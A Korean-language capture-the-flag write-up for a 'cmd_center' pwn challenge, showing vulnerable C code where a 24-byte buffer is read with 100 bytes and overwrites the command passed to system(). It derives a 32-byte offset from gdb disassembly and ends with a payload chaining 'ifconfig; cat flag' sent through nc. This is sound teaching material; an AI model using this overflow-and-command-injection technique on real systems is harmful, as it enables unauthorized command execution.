cmd_center

A 24-byte name buffer read with 100 bytes, overflowing into the command string passed to system().

2026.08.18 Pwn original post

문제에서 제공된 C 코드는 다음과 같다.

char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];

printf("Center name: ");
read(0, center_name, 100);

if (!strncmp(cmd_ip, "ifconfig", 8)) {
    system(cmd_ip);
} else {
    printf("Something is wrong!\n");
}

여기서 핵심 취약점은 center_name 배열의 크기보다 훨씬 큰 입력을 받는다는 점이다. center_name 은 24바이트밖에 되지 않지만, read() 는 최대 100바이트까지 입력을 받는다. 따라서 center_name 뒤에 있는 스택 영역을 덮어쓸 수 있다.

이 문제의 목표는 cmd_ip 값을 조작해서 system(cmd_ip) 에서 ifconfig 가 아닌 다른 명령어도 실행하도록 만드는 것이다.

중요한 조건

코드를 보면 바로 system(cmd_ip) 가 실행되는 것이 아니라, 먼저 아래 조건을 검사한다.

strncmp(cmd_ip, "ifconfig", 8)

즉, cmd_ip 의 앞 8바이트가 반드시 “ifconfig” 와 같아야 한다. 따라서 cmd_ip 를 단순히 cat flag 처럼 바꾸면 안 된다. 이 경우 앞 8바이트가 ifconfig 가 아니기 때문에 조건문을 통과하지 못한다.

대신 쉘 명령어에서 ; 를 사용하면 여러 명령어를 이어서 실행할 수 있다.

ifconfig; cat flag

이렇게 하면 앞부분은 ifconfig 이므로 strncmp() 검사를 통과하고, 이후 system() 에서 ifconfig 실행 후 cat flag 도 실행된다.

Offset 구하기

이 문제는 ret 주소를 덮는 문제가 아니라, 스택에 있는 지역 변수 cmd_ip 를 덮는 문제이다. 따라서 필요한 것은 center_name 시작 위치에서 cmd_ip 시작 위치까지 몇 바이트 떨어져 있는가, 즉 offset 이다.

gdb 에서 main 함수를 disassemble 하면 다음과 같은 부분을 확인할 수 있다.

0x916 <+105>: lea  -0x130(%rbp),%rax
0x91d <+112>: mov  $0x64,%edx
0x922 <+117>: mov  %rax,%rsi
0x925 <+120>: mov  $0x0,%edi
0x92a <+125>: call read@plt

read() 함수의 두 번째 인자는 입력을 저장할 버퍼 주소이다. x86-64 리눅스에서는 함수 인자가 다음 레지스터로 전달된다.

1번째 인자: rdi
2번째 인자: rsi
3번째 인자: rdx

여기서 read() 호출 직전에 lea -0x130(%rbp), %rax / mov %rax, %rsi 가 있으므로, 입력이 저장되는 위치는 center_name = rbp - 0x130 이다.

다음으로 cmd_ip 가 어디에 있는지 확인한다.

0x92f <+130>: lea  -0x110(%rbp),%rax
0x936 <+137>: mov  $0x8,%edx
0x93b <+142>: lea  0xd0(%rip),%rsi
0x942 <+149>: mov  %rax,%rdi
0x945 <+152>: call strncmp@plt

strncmp() 의 첫 번째 인자는 비교할 문자열인 cmd_ip 이다. x86-64 리눅스에서는 첫 번째 인자가 rdi 로 전달된다. 호출 직전에 lea -0x110(%rbp), %rax / mov %rax, %rdi 가 있으므로 cmd_ip 의 위치는 rbp - 0x110 이다.

이제 두 변수 사이의 거리를 계산하면 된다.

center_name = rbp - 0x130
cmd_ip      = rbp - 0x110

0x130 - 0x110 = 0x20 = 32 bytes

따라서 center_name 시작 위치에서 32바이트를 채우면, 그 다음부터 cmd_ip 를 덮어쓸 수 있다. 즉 payload 구조는 "A" * 32 + "ifconfig; cat flag" 가 된다.

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"ifconfig; cat flag\x00")' \
  | nc host8.dreamhack.games <port>